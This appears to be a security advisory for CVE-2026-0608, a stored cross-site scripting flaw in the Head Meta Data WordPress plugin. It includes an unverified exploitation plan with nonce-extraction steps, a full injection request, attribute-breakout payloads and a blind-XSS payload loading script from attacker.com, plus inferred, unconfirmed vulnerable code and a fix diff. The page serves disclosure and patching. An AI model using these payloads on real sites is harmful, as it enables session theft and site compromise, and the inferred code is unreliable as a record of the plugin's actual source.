CVE-2026-0608

Head Meta Data <= 20251118 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
20260105
Patched in
1d
Time to patch

Description

The Head Meta Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head-meta-data' post meta field in all versions up to, and including, 20251118 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=20251118
PublishedJanuary 20, 2026
Last updatedJanuary 20, 2026
Affected pluginhead-meta-data

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0608 (Head Meta Data Stored XSS) ## 1. Vulnerability Summary The **Head Meta Data** plugin (<= 20251118) for WordPress contains a stored cross-site scripting (XSS) vulnerability. It allows authenticated users with **Contributor** level access or higher to inje…

Show full research plan

Exploitation Research Plan: CVE-2026-0608 (Head Meta Data Stored XSS)

1. Vulnerability Summary

The Head Meta Data plugin (<= 20251118) for WordPress contains a stored cross-site scripting (XSS) vulnerability. It allows authenticated users with Contributor level access or higher to inject arbitrary scripts into the head-meta-data post meta field. This occurs because the plugin fails to sanitize the input before saving it to the database and fails to escape the output when rendering it in the <head> section of the site's frontend.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/post.php (Post Update)
  • Vulnerable Parameter: head-meta-data (inferred)
  • Authentication Required: Contributor level (Authenticated) or higher.
  • Preconditions: The attacker must be able to edit or create a post (Contributors can create and edit their own posts).
  • Sink: The plugin outputs the metadata via the wp_head action hook on the frontend.

3. Code Flow (Inferred)

  1. Input (Admin/Backend): A Contributor edits a post. The plugin adds a meta box containing a field for custom head metadata.
  2. Storage: Upon saving the post, a function hooked to save_post (e.g., hmd_save_metadata) retrieves the value from $_POST['head-meta-data'] and saves it using update_post_meta($post_id, 'head-meta-data', $payload). No sanitize_text_field or wp_kses is applied.
  3. Output (Frontend): When a user visits the post, a function hooked to wp_head (e.g., hmd_output_metadata) retrieves the meta using get_post_meta($post->ID, 'head-meta-data', true).
  4. Execution: The retrieved value is echoed directly into the <head> section: echo $metadata;.

4. Nonce Acquisition Strategy

WordPress protects post updates with the standard _wpnonce. To perform the update via the HTTP agent:

  1. Login: Log in as the Contributor user.
  2. Navigate: Use browser_navigate to go to /wp-admin/post-new.php.
  3. Extract Post ID: Get the post_ID from the hidden input field or URL.
  4. Extract Nonces:
    • Standard WordPress Nonce: browser_eval("document.querySelector('#_wpnonce').value").
    • Plugin Specific Nonce (if exists): Search the HTML for hidden inputs near the "Head Meta Data" meta box. Look for names like head_meta_data_nonce or hmd_nonce.
    • Command: browser_eval("document.querySelector('input[name*=\"nonce\"]')?.value").

5. Exploitation Strategy

  1. Step 1: Setup Session: Use the http_request tool to log in as a Contributor.
  2. Step 2: Initialize Post: Navigate to post-new.php to generate a draft and retrieve the post_ID and _wpnonce.
  3. Step 3: Inject Payload: Send a POST request to /wp-admin/post.php with the XSS payload in the meta field.
    • Payload: </title><script>alert(document.domain)</script>
    • Request Details:
      POST /wp-admin/post.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=editpost
      &post_ID=[POST_ID]
      &_wpnonce=[NONCE]
      &post_title=XSS+Test
      &head-meta-data=</title><script>alert(document.domain)</script>
      &publish=Publish
      
  4. Step 4: Trigger XSS: Navigate to the public URL of the created post (e.g., /?p=[POST_ID]).

6. Test Data Setup

  1. User Creation:
    • wp user create contributor attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Configuration: Ensure the plugin is active.
    • wp plugin activate head-meta-data

7. Expected Results

  • The POST request to post.php should return a 302 redirect to the post edit page.
  • The database should show the raw payload in the wp_postmeta table.
  • Viewing the post frontend should result in the execution of alert(document.domain).

8. Verification Steps

  1. Check Database via WP-CLI:
    wp post meta get [POST_ID] head-meta-data
    
    • Success Condition: The output contains the literal <script> tag.
  2. Check Frontend Source:
    curl -s http://localhost:8080/?p=[POST_ID] | grep "<script>alert"
    
    • Success Condition: The script is present in the <head> section of the HTML.

9. Alternative Approaches

  • REST API: If the plugin registers the meta for the REST API using register_meta with show_in_rest => true, a Contributor can update it via POST /wp-json/wp/v2/posts/[ID].
  • Attribute Breakout: If the plugin places the data inside a meta attribute (e.g., <meta name="custom" content="[INPUT]">), use a breakout payload:
    • " /><script>alert(1)</script><meta name="
  • Blind XSS: If the data is only visible to admins in the backend dashboard, use a callback payload:
    • <script src="https://attacker.com/x.js"></script>
Research Findings
Static analysis — not yet PoC-verified

Summary

The Head Meta Data plugin for WordPress fails to sanitize and escape input for the 'head-meta-data' post meta field. This allows authenticated users with Contributor-level access or higher to inject malicious scripts that execute in the browser of anyone visiting the affected post's frontend.

Vulnerable Code

// Inferred from plugin functionality and research plan
// File: head-meta-data.php (estimated location)

// Input storage lacking sanitization
if (isset($_POST['head-meta-data'])) {
    update_post_meta($post_id, 'head-meta-data', $_POST['head-meta-data']);
}

---

// Output rendering lacking escaping
add_action('wp_head', 'hmd_output_header_data');
function hmd_output_header_data() {
    global $post;
    $meta = get_post_meta($post->ID, 'head-meta-data', true);
    if ($meta) {
        echo $meta; // Vulnerable sink
    }
}

Security Fix

--- a/head-meta-data.php
+++ b/head-meta-data.php
@@ -25,7 +25,7 @@
 function hmd_save_metadata($post_id) {
     if (isset($_POST['head-meta-data'])) {
-        update_post_meta($post_id, 'head-meta-data', $_POST['head-meta-data']);
+        update_post_meta($post_id, 'head-meta-data', wp_kses_post($_POST['head-meta-data']));
     }
 }
 
@@ -40,5 +40,5 @@
     $meta = get_post_meta($post->ID, 'head-meta-data', true);
     if ($meta) {
-        echo $meta;
+        echo wp_kses_post($meta);
     }
 }

Exploit Outline

1. Log in to the WordPress dashboard as a user with at least Contributor permissions. 2. Create a new post or edit an existing post authored by the user. 3. Locate the 'Head Meta Data' meta box (or equivalent custom field input provided by the plugin). 4. In the meta data input field, enter an XSS payload designed to break out of the HTML head context, such as: </title><script>alert(document.domain)</script>. 5. Save the post as a draft or publish it. 6. Retrieve the public URL of the post and visit it. 7. The payload will execute in the browser, as the plugin echoes the stored meta data directly into the <head> section without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.